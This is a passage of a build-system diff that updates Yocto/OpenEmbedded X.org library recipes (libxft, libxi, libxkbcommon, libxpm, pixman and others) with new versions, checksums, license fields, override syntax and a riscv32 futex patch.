+++ /dev/null
@@ -1,33 +0,0 @@
-SUMMARY = "XFt: X FreeType libary"
-
-DESCRIPTION = "Xft was designed to provide good support for scalable \
-fonts, and to do so efficiently. Unlike the core fonts system, it \
-supports features such as anti-aliasing and sub-pixel rasterisation. \
-Perhaps more importantly, it gives applications full control over the \
-way glyphs are rendered, making fine typesetting and WYSIWIG display \
-possible. Finally, it allows applications to use fonts that are not \
-installed system-wide for displaying documents with embedded fonts. Xft \
-is not compatible with the core fonts system: usage of Xft requires \
-fairly extensive changes to toolkits (user-interface libraries)."
-
-require xorg-lib-common.inc
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=90b90b60eb30f65fc9c2673d7cf59e24"
-
-DEPENDS += "virtual/libx11 libxrender freetype fontconfig"
-PROVIDES = "xft"
-
-PE = "1"
-
-SRC_URI[md5sum] = "4a433c24627b4ff60a4dd403a0990796"
-SRC_URI[sha256sum] = "225c68e616dd29dbb27809e45e9eadf18e4d74c50be43020ef20015274529216"
-
-XORG_PN = "libXft"
-
-BBCLASSEXTEND = "native nativesdk"
-
-python () {
- if d.getVar('DEBIAN_NAMES'):
- d.setVar('PKG_${PN}', '${MLPREFIX}libxft2')
-}
diff --git a/meta/recipes-graphics/xorg-lib/libxft_2.3.4.bb b/meta/recipes-graphics/xorg-lib/libxft_2.3.4.bb
new file mode 100644
index 0000000000..12636914dd
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxft_2.3.4.bb
@@ -0,0 +1,32 @@
+SUMMARY = "XFt: X FreeType libary"
+
+DESCRIPTION = "Xft was designed to provide good support for scalable \
+fonts, and to do so efficiently. Unlike the core fonts system, it \
+supports features such as anti-aliasing and sub-pixel rasterisation. \
+Perhaps more importantly, it gives applications full control over the \
+way glyphs are rendered, making fine typesetting and WYSIWIG display \
+possible. Finally, it allows applications to use fonts that are not \
+installed system-wide for displaying documents with embedded fonts. Xft \
+is not compatible with the core fonts system: usage of Xft requires \
+fairly extensive changes to toolkits (user-interface libraries)."
+
+require xorg-lib-common.inc
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=90b90b60eb30f65fc9c2673d7cf59e24"
+
+DEPENDS += "virtual/libx11 libxrender freetype fontconfig"
+PROVIDES = "xft"
+
+PE = "1"
+
+SRC_URI[sha256sum] = "57dedaab20914002146bdae0cb0c769ba3f75214c4c91bd2613d6ef79fc9abdd"
+
+XORG_PN = "libXft"
+
+BBCLASSEXTEND = "native nativesdk"
+
+python populate_packages:prepend () {
+ if d.getVar('DEBIAN_NAMES'):
+ d.setVar('PKG:${PN}', '${MLPREFIX}libxft2')
+}
diff --git a/meta/recipes-graphics/xorg-lib/libxi_1.7.10.bb b/meta/recipes-graphics/xorg-lib/libxi_1.7.10.bb
deleted file mode 100644
index 5a08e07362..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxi_1.7.10.bb
+++ /dev/null
@@ -1,23 +0,0 @@
-require xorg-lib-common.inc
-
-SUMMARY = "XI: X Input extension library"
-
-DESCRIPTION = "libxi is an extension to the X11 protocol to support \
-input devices other than the core X keyboard and pointer. It allows \
-client programs to select input from these devices independently from \
-each other and independently from the core devices."
-
-LICENSE = "MIT & MIT-style"
-LIC_FILES_CHKSUM = "file://COPYING;md5=17b064789fab936a1c58c4e13d965b0f \
- file://src/XIGetDevFocus.c;endline=23;md5=cdfb0d435a33ec57ea0d1e8e395b729f"
-
-DEPENDS += "libxext xorgproto libxfixes"
-
-PE = "1"
-
-XORG_PN = "libXi"
-
-SRC_URI[md5sum] = "62c4af0839072024b4b1c8cbe84216c7"
-SRC_URI[sha256sum] = "36a30d8f6383a72e7ce060298b4b181fd298bc3a135c8e201b7ca847f5f81061"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-lib/libxi_1.8.bb b/meta/recipes-graphics/xorg-lib/libxi_1.8.bb
new file mode 100644
index 0000000000..2aa75148d1
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxi_1.8.bb
@@ -0,0 +1,22 @@
+require xorg-lib-common.inc
+
+SUMMARY = "XI: X Input extension library"
+
+DESCRIPTION = "libxi is an extension to the X11 protocol to support \
+input devices other than the core X keyboard and pointer. It allows \
+client programs to select input from these devices independently from \
+each other and independently from the core devices."
+
+LICENSE = "MIT & MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=17b064789fab936a1c58c4e13d965b0f \
+ file://src/XIGetDevFocus.c;endline=23;md5=cdfb0d435a33ec57ea0d1e8e395b729f"
+
+DEPENDS += "libxext xorgproto libxfixes"
+
+PE = "1"
+
+XORG_PN = "libXi"
+
+SRC_URI[sha256sum] = "2ed181446a61c7337576467870bc5336fc9e222a281122d96c4d39a3298bba00"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-lib/libxkbcommon_0.8.4.bb b/meta/recipes-graphics/xorg-lib/libxkbcommon_0.8.4.bb
deleted file mode 100644
index 0608fd5af8..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxkbcommon_0.8.4.bb
+++ /dev/null
@@ -1,26 +0,0 @@
-SUMMARY = "Generic XKB keymap library"
-DESCRIPTION = "libxkbcommon is a keymap compiler and support library which \
-processes a reduced subset of keymaps as defined by the XKB specification."
-HOMEPAGE = "http://www.xkbcommon.org"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=e525ed9809e1f8a07cf4bce8b09e8b87"
-LICENSE = "MIT & MIT-style"
-
-DEPENDS = "util-macros flex-native bison-native"
-
-SRC_URI = "http://xkbcommon.org/download/${BPN}-${PV}.tar.xz"
-
-SRC_URI[md5sum] = "3c4409058dfd203f641a563358e0187d"
-SRC_URI[sha256sum] = "60ddcff932b7fd352752d51a5c4f04f3d0403230a584df9a2e0d5ed87c486c8b"
-
-UPSTREAM_CHECK_URI = "http://xkbcommon.org/"
-
-inherit autotools pkgconfig
-
-EXTRA_OECONF = "--disable-docs"
-
-PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)}"
-PACKAGECONFIG[x11] = "--enable-x11,--disable-x11,libxcb xkeyboard-config,"
-
-# Fix a following runtime error:
-# xkbcommon: ERROR: couldn't find a Compose file for locale "C"
-RDEPENDS_${PN} = "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'libx11-locale', 'libx11-compose-data', d)}"
diff --git a/meta/recipes-graphics/xorg-lib/libxkbcommon_1.4.0.bb b/meta/recipes-graphics/xorg-lib/libxkbcommon_1.4.0.bb
new file mode 100644
index 0000000000..34652e9c4e
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxkbcommon_1.4.0.bb
@@ -0,0 +1,36 @@
+SUMMARY = "Generic XKB keymap library"
+DESCRIPTION = "libxkbcommon is a keymap compiler and support library which \
+processes a reduced subset of keymaps as defined by the XKB specification."
+HOMEPAGE = "http://www.xkbcommon.org"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=e525ed9809e1f8a07cf4bce8b09e8b87"
+LICENSE = "MIT & MIT"
+
+DEPENDS = "flex-native bison-native"
+
+SRC_URI = "http://xkbcommon.org/download/${BPN}-${PV}.tar.xz"
+
+SRC_URI[sha256sum] = "106cec5263f9100a7e79b5f7220f889bc78e7d7ffc55d2b6fdb1efefb8024031"
+
+UPSTREAM_CHECK_URI = "http://xkbcommon.org/"
+
+inherit meson pkgconfig
+
+PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'x11 wayland', d)} xkbregistry"
+
+PACKAGECONFIG[docs] = "-Denable-docs=true,-Denable-docs=false,doxygen-native"
+PACKAGECONFIG[wayland] = "-Denable-wayland=true,-Denable-wayland=false,wayland-native wayland wayland-protocols,"
+PACKAGECONFIG[x11] = "-Denable-x11=true,-Denable-x11=false,libxcb xkeyboard-config,"
+PACKAGECONFIG[xkbregistry] = "-Denable-xkbregistry=true,-Denable-xkbregistry=false,libxml2"
+
+PACKAGE_BEFORE_PN += "xkbcli"
+FILES:${PN} = ""
+FILES:xkbcli = "${bindir}/xkbcli ${libexecdir}/xkbcommon/xkbcli-*"
+
+python populate_packages:prepend () {
+ # Put the libraries into separate packages to avoid dependency creep
+ do_split_packages(d, d.expand('${libdir}'), r'^(lib.*)\.so\.*', '%s', '%s library', extra_depends='', allow_links=True)
+}
+
+# Fix a following runtime error:
+# xkbcommon: ERROR: couldn't find a Compose file for locale "C"
+RDEPENDS:${PN} = "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'libx11-locale', 'libx11-compose-data', d)}"
diff --git a/meta/recipes-graphics/xorg-lib/libxkbfile_1.1.0.bb b/meta/recipes-graphics/xorg-lib/libxkbfile_1.1.0.bb
index 3a6c50ca21..0fd0e3f47f 100644
--- a/meta/recipes-graphics/xorg-lib/libxkbfile_1.1.0.bb
+++ b/meta/recipes-graphics/xorg-lib/libxkbfile_1.1.0.bb
@@ -5,7 +5,7 @@ description files for XKB, the X11 keyboard configuration extension."
require xorg-lib-common.inc
-LICENSE = "MIT-style"
+LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://COPYING;md5=8be7367f7e5d605a426f76bb37d4d61f"
DEPENDS += "virtual/libx11 xorgproto"
diff --git a/meta/recipes-graphics/xorg-lib/libxmu_1.1.3.bb b/meta/recipes-graphics/xorg-lib/libxmu_1.1.3.bb
index dc3179f53e..eab3f07512 100644
--- a/meta/recipes-graphics/xorg-lib/libxmu_1.1.3.bb
+++ b/meta/recipes-graphics/xorg-lib/libxmu_1.1.3.bb
@@ -9,7 +9,7 @@ second library, libXmuu."
require xorg-lib-common.inc
-LICENSE = "MIT & MIT-style"
+LICENSE = "MIT & MIT"
LIC_FILES_CHKSUM = "file://COPYING;md5=def3d8e4e9c42004f1941fa22f01dc18"
DEPENDS += "libxt libxext"
@@ -23,7 +23,7 @@ LEAD_SONAME = "libXmu"
PACKAGES =+ "libxmuu"
-FILES_libxmuu = "${libdir}/libXmuu.so.*"
+FILES:libxmuu = "${libdir}/libXmuu.so.*"
BBCLASSEXTEND = "native"
diff --git a/meta/recipes-graphics/xorg-lib/libxpm_3.5.12.bb b/meta/recipes-graphics/xorg-lib/libxpm_3.5.12.bb
deleted file mode 100644
index 64d829b31e..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxpm_3.5.12.bb
+++ /dev/null
@@ -1,27 +0,0 @@
-require xorg-lib-common.inc
-
-# libxpm requires xgettext to build
-inherit gettext
-
-SUMMARY = "Xpm: X Pixmap extension library"
-
-DESCRIPTION = "libXpm provides support and common operation for the XPM \
-pixmap format, which is commonly used in legacy X applications. XPM is \
-an extension of the monochrome XBM bitmap specificied in the X \
-protocol."
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=51f4270b012ecd4ab1a164f5f4ed6cf7"
-DEPENDS += "libxext libsm libxt gettext-native"
-PE = "1"
-
-XORG_PN = "libXpm"
-
-PACKAGES =+ "sxpm cxpm"
-FILES_cxpm = "${bindir}/cxpm"
-FILES_sxpm = "${bindir}/sxpm"
-
-SRC_URI[md5sum] = "20f4627672edb2bd06a749f11aa97302"
-SRC_URI[sha256sum] = "fd6a6de3da48de8d1bb738ab6be4ad67f7cb0986c39bd3f7d51dd24f7854bdec"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-graphics/xorg-lib/libxpm_3.5.13.bb b/meta/recipes-graphics/xorg-lib/libxpm_3.5.13.bb
new file mode 100644
index 0000000000..4f0a5d7ba0
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxpm_3.5.13.bb
@@ -0,0 +1,27 @@
+require xorg-lib-common.inc
+
+# libxpm requires xgettext to build
+inherit gettext
+
+SUMMARY = "Xpm: X Pixmap extension library"
+
+DESCRIPTION = "libXpm provides support and common operation for the XPM \
+pixmap format, which is commonly used in legacy X applications. XPM is \
+an extension of the monochrome XBM bitmap specificied in the X \
+protocol."
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=51f4270b012ecd4ab1a164f5f4ed6cf7"
+DEPENDS += "libxext libsm libxt gettext-native"
+PE = "1"
+
+XORG_PN = "libXpm"
+
+PACKAGES =+ "sxpm cxpm"
+FILES:cxpm = "${bindir}/cxpm"
+FILES:sxpm = "${bindir}/sxpm"
+
+SRC_URI[md5sum] = "6f0ecf8d103d528cfc803aa475137afa"
+SRC_URI[sha256sum] = "9cd1da57588b6cb71450eff2273ef6b657537a9ac4d02d0014228845b935ac25"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-graphics/xorg-lib/libxrandr_1.5.2.bb b/meta/recipes-graphics/xorg-lib/libxrandr_1.5.2.bb
index 53a8335d64..482017d2ae 100644
--- a/meta/recipes-graphics/xorg-lib/libxrandr_1.5.2.bb
+++ b/meta/recipes-graphics/xorg-lib/libxrandr_1.5.2.bb
@@ -8,7 +8,7 @@ specified in the Proceedings of the 2001 Usenix Technical Conference \
require xorg-lib-common.inc
-LICENSE = "MIT-style"
+LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://COPYING;md5=c9d1a2118a6cd5727521db8e7a2fee69"
DEPENDS += "virtual/libx11 xorgproto libxrender libxext"
diff --git a/meta/recipes-graphics/xorg-lib/libxrender_0.9.10.bb b/meta/recipes-graphics/xorg-lib/libxrender_0.9.10.bb
index 9b18366138..35763a5a26 100644
--- a/meta/recipes-graphics/xorg-lib/libxrender_0.9.10.bb
+++ b/meta/recipes-graphics/xorg-lib/libxrender_0.9.10.bb
@@ -8,7 +8,7 @@ drawn by loading glyphs into the server and rendering sets of them."
require xorg-lib-common.inc
-LICENSE = "MIT-style"
+LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://COPYING;md5=d8bc71986d3b9b3639f6dfd6fac8f196"
DEPENDS += "virtual/libx11 xorgproto"
diff --git a/meta/recipes-graphics/xorg-lib/libxres_1.2.0.bb b/meta/recipes-graphics/xorg-lib/libxres_1.2.0.bb
deleted file mode 100644
index af6bb19a25..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxres_1.2.0.bb
+++ /dev/null
@@ -1,20 +0,0 @@
-SUMMARY = "XRes: X Resource extension library"
-
-DESCRIPTION = "libXRes provides an X Window System client interface to \
-the Resource extension to the X protocol. The Resource extension allows \
-for X clients to see and monitor the X resource usage of various clients \
-(pixmaps, et al)."
-
-require xorg-lib-common.inc
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=8c89441a8df261bdc56587465e13c7fa"
-
-DEPENDS += "libxext xorgproto"
-
-PE = "1"
-
-XORG_PN = "libXres"
-
-SRC_URI[md5sum] = "5d6d443d1abc8e1f6fc1c57fb27729bb"
-SRC_URI[sha256sum] = "ff75c1643488e64a7cfbced27486f0f944801319c84c18d3bd3da6bf28c812d4"
diff --git a/meta/recipes-graphics/xorg-lib/libxres_1.2.1.bb b/meta/recipes-graphics/xorg-lib/libxres_1.2.1.bb
new file mode 100644
index 0000000000..29a799a328
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxres_1.2.1.bb
@@ -0,0 +1,19 @@
+SUMMARY = "XRes: X Resource extension library"
+
+DESCRIPTION = "libXRes provides an X Window System client interface to \
+the Resource extension to the X protocol. The Resource extension allows \
+for X clients to see and monitor the X resource usage of various clients \
+(pixmaps, et al)."
+
+require xorg-lib-common.inc
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=8c89441a8df261bdc56587465e13c7fa"
+
+DEPENDS += "libxext xorgproto"
+
+PE = "1"
+
+XORG_PN = "libXres"
+
+SRC_URI[sha256sum] = "b6e6fb1ebb61610e56017edd928fb89a5f53b3f4f990078309877468663b2b11"
diff --git a/meta/recipes-graphics/xorg-lib/libxscrnsaver_1.2.3.bb b/meta/recipes-graphics/xorg-lib/libxscrnsaver_1.2.3.bb
index aed52e75ee..b52fd00f1a 100644
--- a/meta/recipes-graphics/xorg-lib/libxscrnsaver_1.2.3.bb
+++ b/meta/recipes-graphics/xorg-lib/libxscrnsaver_1.2.3.bb
@@ -14,7 +14,7 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=21fd154ee757813632ada871a34113fb"
DEPENDS += "libxext xorgproto"
PROVIDES = "libxss"
-RREPLACES_${PN} = "libxss"
+RREPLACES:${PN} = "libxss"
PE = "1"
XORG_PN = "libXScrnSaver"
diff --git a/meta/recipes-graphics/xorg-lib/libxshmfence/0001-xshmfence_futex.h-Define-SYS_futex-if-it-does-not-ex.patch b/meta/recipes-graphics/xorg-lib/libxshmfence/0001-xshmfence_futex.h-Define-SYS_futex-if-it-does-not-ex.patch
new file mode 100644
index 0000000000..3e87794d20
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxshmfence/0001-xshmfence_futex.h-Define-SYS_futex-if-it-does-not-ex.patch
@@ -0,0 +1,39 @@
+From 5827f6389a227157958d14a687fb29223cb3a03a Mon Sep 17 00:00:00 2001
+From: Mingli Yu <mingli.yu@windriver.com>
+Date: Wed, 7 Apr 2021 07:48:42 +0000
+Subject: [PATCH] xshmfence_futex.h: Define SYS_futex if it does not exist
+
+_NR_futex is not defines by newer architectures e.g. riscv32 as
+they only have 64bit variant of time_t. Glibc defines SYS_futex
+interface based on __NR_futex, since this is used in applications,
+such applications start to fail to build for these newer architectures.
+This patch defines a fallback to alias __NR_futex to __NR_futex_time64
+to make SYS_futex keep working.
+
+Reference: https://git.openembedded.org/openembedded-core/commit/?id=7a218adf9990f5e18d0b6a33eb34091969f979c7
+
+Upstream-Status: Pending
+
+Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
+---
+ src/xshmfence_futex.h | 4 ++++
+ 1 file changed, 4 insertions(+)
+
+diff --git a/src/xshmfence_futex.h b/src/xshmfence_futex.h
+index 673ac0e..a71efa5 100644
+--- a/src/xshmfence_futex.h
++++ b/src/xshmfence_futex.h
+@@ -53,6 +53,10 @@ static inline int futex_wait(int32_t *addr, int32_t value) {
+ #include <sys/time.h>
+ #include <sys/syscall.h>
+
++#if !defined(SYS_futex) && defined(SYS_futex_time64)
++#define SYS_futex SYS_futex_time64
++#endif
++
+ static inline long sys_futex(void *addr1, int op, int val1, struct timespec *timeout, void *addr2, int val3)
+ {
+ return syscall(SYS_futex, addr1, op, val1, timeout, addr2, val3);
+--
+2.29.2
+
diff --git a/meta/recipes-graphics/xorg-lib/libxshmfence_1.3.bb b/meta/recipes-graphics/xorg-lib/libxshmfence_1.3.bb
index 85a48e4c58..f465266672 100644
--- a/meta/recipes-graphics/xorg-lib/libxshmfence_1.3.bb
+++ b/meta/recipes-graphics/xorg-lib/libxshmfence_1.3.bb
@@ -6,12 +6,16 @@ using file descriptor passing."
require xorg-lib-common.inc
-LICENSE = "MIT-style"
+LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://COPYING;md5=47e508ca280fde97906eacb77892c3ac"
DEPENDS += "virtual/libx11"
-BBCLASSEXTEND = "native nativesdk"
+EXTRA_OECONF += "--with-shared-memory-dir=/dev/shm"
+
+SRC_URI += "file://0001-xshmfence_futex.h-Define-SYS_futex-if-it-does-not-ex.patch"
SRC_URI[md5sum] = "42dda8016943dc12aff2c03a036e0937"
SRC_URI[sha256sum] = "b884300d26a14961a076fbebc762a39831cb75f92bed5ccf9836345b459220c7"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-lib/libxt_1.2.0.bb b/meta/recipes-graphics/xorg-lib/libxt_1.2.0.bb
deleted file mode 100644
index 42df435052..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxt_1.2.0.bb
+++ /dev/null
@@ -1,32 +0,0 @@
-SUMMARY = "Xt: X Toolkit Intrinsics library"
-
-DESCRIPTION = "The Intrinsics are a programming library tailored to the \
-special requirements of user interface construction within a network \
-window system, specifically the X Window System. The Intrinsics and a \
-widget set make up an X Toolkit. The Intrinsics provide the base \
-mechanism necessary to build a wide variety of interoperating widget \
-sets and application environments. The Intrinsics are a layer on top of \
-Xlib, the C Library X Interface. They extend the fundamental \
-abstractions provided by the X Window System while still remaining \
-independent of any particular user interface policy or style."
-
-require xorg-lib-common.inc
-
-LICENSE = "MIT & MIT-style"
-LIC_FILES_CHKSUM = "file://COPYING;md5=73d55cea4d27ca1a09a5d23378b3ecf8"
-
-DEPENDS += "util-linux libxcb libsm virtual/libx11 xorgproto libxdmcp"
-PROVIDES = "xt"
-
-PE = "1"
-
-XORG_PN = "libXt"
-
-SRC_URI += "file://libxt_fix_for_x32.patch \
- "
-SRC_URI[md5sum] = "a9019421d3ee8b4937b6afd9025f018a"
-SRC_URI[sha256sum] = "b31df531dabed9f4611fc8980bc51d7782967e2aff44c4105251a1acb5a77831"
-
-BBCLASSEXTEND = "native nativesdk"
-
-EXTRA_OECONF += "--disable-xkb"
diff --git a/meta/recipes-graphics/xorg-lib/libxt_1.2.1.bb b/meta/recipes-graphics/xorg-lib/libxt_1.2.1.bb
new file mode 100644
index 0000000000..eef561dbba
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxt_1.2.1.bb
@@ -0,0 +1,31 @@
+SUMMARY = "Xt: X Toolkit Intrinsics library"
+
+DESCRIPTION = "The Intrinsics are a programming library tailored to the \
+special requirements of user interface construction within a network \
+window system, specifically the X Window System. The Intrinsics and a \
+widget set make up an X Toolkit. The Intrinsics provide the base \
+mechanism necessary to build a wide variety of interoperating widget \
+sets and application environments. The Intrinsics are a layer on top of \
+Xlib, the C Library X Interface. They extend the fundamental \
+abstractions provided by the X Window System while still remaining \
+independent of any particular user interface policy or style."
+
+require xorg-lib-common.inc
+
+LICENSE = "MIT & MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=73d55cea4d27ca1a09a5d23378b3ecf8"
+
+DEPENDS += "util-linux libxcb libsm virtual/libx11 xorgproto libxdmcp"
+PROVIDES = "xt"
+
+PE = "1"
+
+XORG_PN = "libXt"
+
+SRC_URI += "file://libxt_fix_for_x32.patch"
+
+SRC_URI[sha256sum] = "679cc08f1646dbd27f5e48ffe8dd49406102937109130caab02ca32c083a3d60"
+
+BBCLASSEXTEND = "native nativesdk"
+
+EXTRA_OECONF += "--disable-xkb"
diff --git a/meta/recipes-graphics/xorg-lib/libxtst_1.2.3.bb b/meta/recipes-graphics/xorg-lib/libxtst_1.2.3.bb
index 7837f69d38..ebe9be5b9a 100644
--- a/meta/recipes-graphics/xorg-lib/libxtst_1.2.3.bb
+++ b/meta/recipes-graphics/xorg-lib/libxtst_1.2.3.bb
@@ -6,7 +6,7 @@ DESCRIPTION = "This extension is a minimal set of client and server \
extensions required to completely test the X11 server with no user \
intervention."
-LICENSE = "MIT-style"
+LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://COPYING;md5=bb4f89972c3869f617f61c1a79ad1952 \
file://src/XTest.c;beginline=2;endline=32;md5=b1c8c9dff842b4d5b89ca5fa32c40e99"
diff --git a/meta/recipes-graphics/xorg-lib/libxv_1.0.11.bb b/meta/recipes-graphics/xorg-lib/libxv_1.0.11.bb
index c6027233ef..3c8bf08153 100644
--- a/meta/recipes-graphics/xorg-lib/libxv_1.0.11.bb
+++ b/meta/recipes-graphics/xorg-lib/libxv_1.0.11.bb
@@ -7,7 +7,7 @@ clients, which may draw in a number of colourspaces, including YUV."
require xorg-lib-common.inc
-LICENSE = "MIT-style"
+LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://COPYING;md5=827da9afab1f727f2a66574629e0f39c"
DEPENDS += "libxext xorgproto"
diff --git a/meta/recipes-graphics/xorg-lib/libxxf86vm_1.1.4.bb b/meta/recipes-graphics/xorg-lib/libxxf86vm_1.1.4.bb
index 95fc0b642c..1612a50f19 100644
--- a/meta/recipes-graphics/xorg-lib/libxxf86vm_1.1.4.bb
+++ b/meta/recipes-graphics/xorg-lib/libxxf86vm_1.1.4.bb
@@ -18,3 +18,5 @@ XORG_PN = "libXxf86vm"
SRC_URI[md5sum] = "298b8fff82df17304dfdb5fe4066fe3a"
SRC_URI[sha256sum] = "afee27f93c5f31c0ad582852c0fb36d50e4de7cd585fcf655e278a633d85cd57"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-lib/pixman/0001-test-utils-Check-for-FE_INVALID-definition-before-us.patch b/meta/recipes-graphics/xorg-lib/pixman/0001-test-utils-Check-for-FE_INVALID-definition-before-us.patch
deleted file mode 100644
index 782c1db022..0000000000
--- a/meta/recipes-graphics/xorg-lib/pixman/0001-test-utils-Check-for-FE_INVALID-definition-before-us.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From 0ccd906b904d21536d5ab41c6196760e3e5d72cb Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 17 May 2016 17:30:00 -0700
-Subject: [PATCH] test/utils: Check for FE_INVALID definition before use
-
-Some architectures e.g. nios2 do not support all exceptions
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Submitted
-
- test/utils.c | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/test/utils.c b/test/utils.c
-index f8e42a5..fe32b1e 100644
---- a/test/utils.c
-+++ b/test/utils.c
-@@ -978,9 +978,11 @@ enable_invalid_exceptions (void)
- {
- #ifdef HAVE_FENV_H
- #ifdef HAVE_FEENABLEEXCEPT
-+#ifdef FE_INVALID
- feenableexcept (FE_INVALID);
- #endif
- #endif
-+#endif
- }
-
- void *
---
-2.8.2
-
diff --git a/meta/recipes-graphics/xorg-lib/pixman_0.38.4.bb b/meta/recipes-graphics/xorg-lib/pixman_0.38.4.bb
deleted file mode 100644
index 82c2e73e50..0000000000
--- a/meta/recipes-graphics/xorg-lib/pixman_0.38.4.bb
+++ /dev/null
@@ -1,40 +0,0 @@
-SUMMARY = "Pixman: Pixel Manipulation library"
-
-DESCRIPTION = "Pixman provides a library for manipulating pixel regions \
--- a set of Y-X banded rectangles, image compositing using the \
-Porter/Duff model and implicit mask generation for geometric primitives \
-including trapezoids, triangles, and rectangles."
-
-require xorg-lib-common.inc
-
-# see http://cairographics.org/releases/ - only even minor versions are stable
-UPSTREAM_CHECK_REGEX = "pixman-(?P<pver>\d+\.(\d*[02468])+(\.\d+)+)"
-
-LICENSE = "MIT & MIT-style & PD"
-LIC_FILES_CHKSUM = "file://COPYING;md5=14096c769ae0cbb5fcb94ec468be11b3 \
- file://pixman/pixman-matrix.c;endline=21;md5=4a018dff3e4e25302724c88ff95c2456 \
- file://pixman/pixman-arm-neon-asm.h;endline=24;md5=9a9cc1e51abbf1da58f4d9528ec9d49b \
- "
-DEPENDS += "zlib libpng"
-BBCLASSEXTEND = "native nativesdk"
-
-PE = "1"
-
-IWMMXT = "--disable-arm-iwmmxt"
-LOONGSON_MMI = "--disable-loongson-mmi"
-# If target supports neon then disable the 'simd' (ie VFPv2) fallback, otherwise disable neon.
-NEON = "${@bb.utils.contains("TUNE_FEATURES", "neon", "--disable-arm-simd", "--disable-arm-neon" ,d)}"
-
-EXTRA_OECONF = "--disable-gtk ${IWMMXT} ${LOONGSON_MMI} ${NEON}"
-EXTRA_OECONF_class-native = "--disable-gtk"
-EXTRA_OECONF_class-nativesdk = "--disable-gtk"
-
-SRC_URI += "\
- file://0001-ARM-qemu-related-workarounds-in-cpu-features-detecti.patch \
- file://0001-test-utils-Check-for-FE_INVALID-definition-before-us.patch \
-"
-
-SRC_URI[md5sum] = "16a350a8a40116ddf67632a1d2623711"
-SRC_URI[sha256sum] = "84abb7fa2541af24d9c3b34bf75d6ac60cc94ac4410061bbb295b66a29221550"
-
-REQUIRED_DISTRO_FEATURES = ""
diff --git a/meta/recipes-graphics/xorg-lib/pixman_0.40.0.bb b/meta/recipes-graphics/xorg-lib/pixman_0.40.0.bb
new file mode 100644
index 0000000000..ccfe277746
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/pixman_0.40.0.bb
@@ -0,0 +1,41 @@
+SUMMARY = "Pixman: Pixel Manipulation library"
+DESCRIPTION = "Pixman provides a library for manipulating pixel regions \
+-- a set of Y-X banded rectangles, image compositing using the \
+Porter/Duff model and implicit mask generation for geometric primitives \
+including trapezoids, triangles, and rectangles."
+HOMEPAGE = "http://www.pixman.org"
+SECTION = "x11/libs"
+DEPENDS = "zlib"
+
+SRC_URI = "https://www.cairographics.org/releases/${BP}.tar.gz \
+ file://0001-ARM-qemu-related-workarounds-in-cpu-features-detecti.patch \
+ "
+SRC_URI[md5sum] = "73858c0862dd9896fb5f62ae267084a4"
+SRC_URI[sha256sum] = "6d200dec3740d9ec4ec8d1180e25779c00bc749f94278c8b9021f5534db223fc"
+
+# see http://cairographics.org/releases/ - only even minor versions are stable
+UPSTREAM_CHECK_REGEX = "pixman-(?P<pver>\d+\.(\d*[02468])+(\.\d+)+)"
+
+PE = "1"
+
+LICENSE = "MIT & MIT & PD"
+LIC_FILES_CHKSUM = "file://COPYING;md5=14096c769ae0cbb5fcb94ec468be11b3 \
+ file://pixman/pixman-matrix.c;endline=21;md5=4a018dff3e4e25302724c88ff95c2456 \
+ file://pixman/pixman-arm-neon-asm.h;endline=24;md5=9a9cc1e51abbf1da58f4d9528ec9d49b \
+ "
+
+inherit meson pkgconfig
+
+# These are for the tests and demos, which we don't install
+EXTRA_OEMESON = "-Dgtk=disabled -Dlibpng=disabled"
+# ld: pixman/libpixman-mmx.a(pixman-mmx.c.o):
+# linking mips:loongson_2f module with previous mips:isa64 modules
+EXTRA_OEMESON += "-Dloongson-mmi=disabled"
+# disable iwmmxt due to compile fails on most arm platforms.
+EXTRA_OEMESON += "-Diwmmxt=disabled"
+
+EXTRA_OEMESON:append:class-target:powerpc = " ${@bb.utils.contains("TUNE_FEATURES", "altivec", "-Dvmx=enabled", "-Dvmx=disabled", d)}"
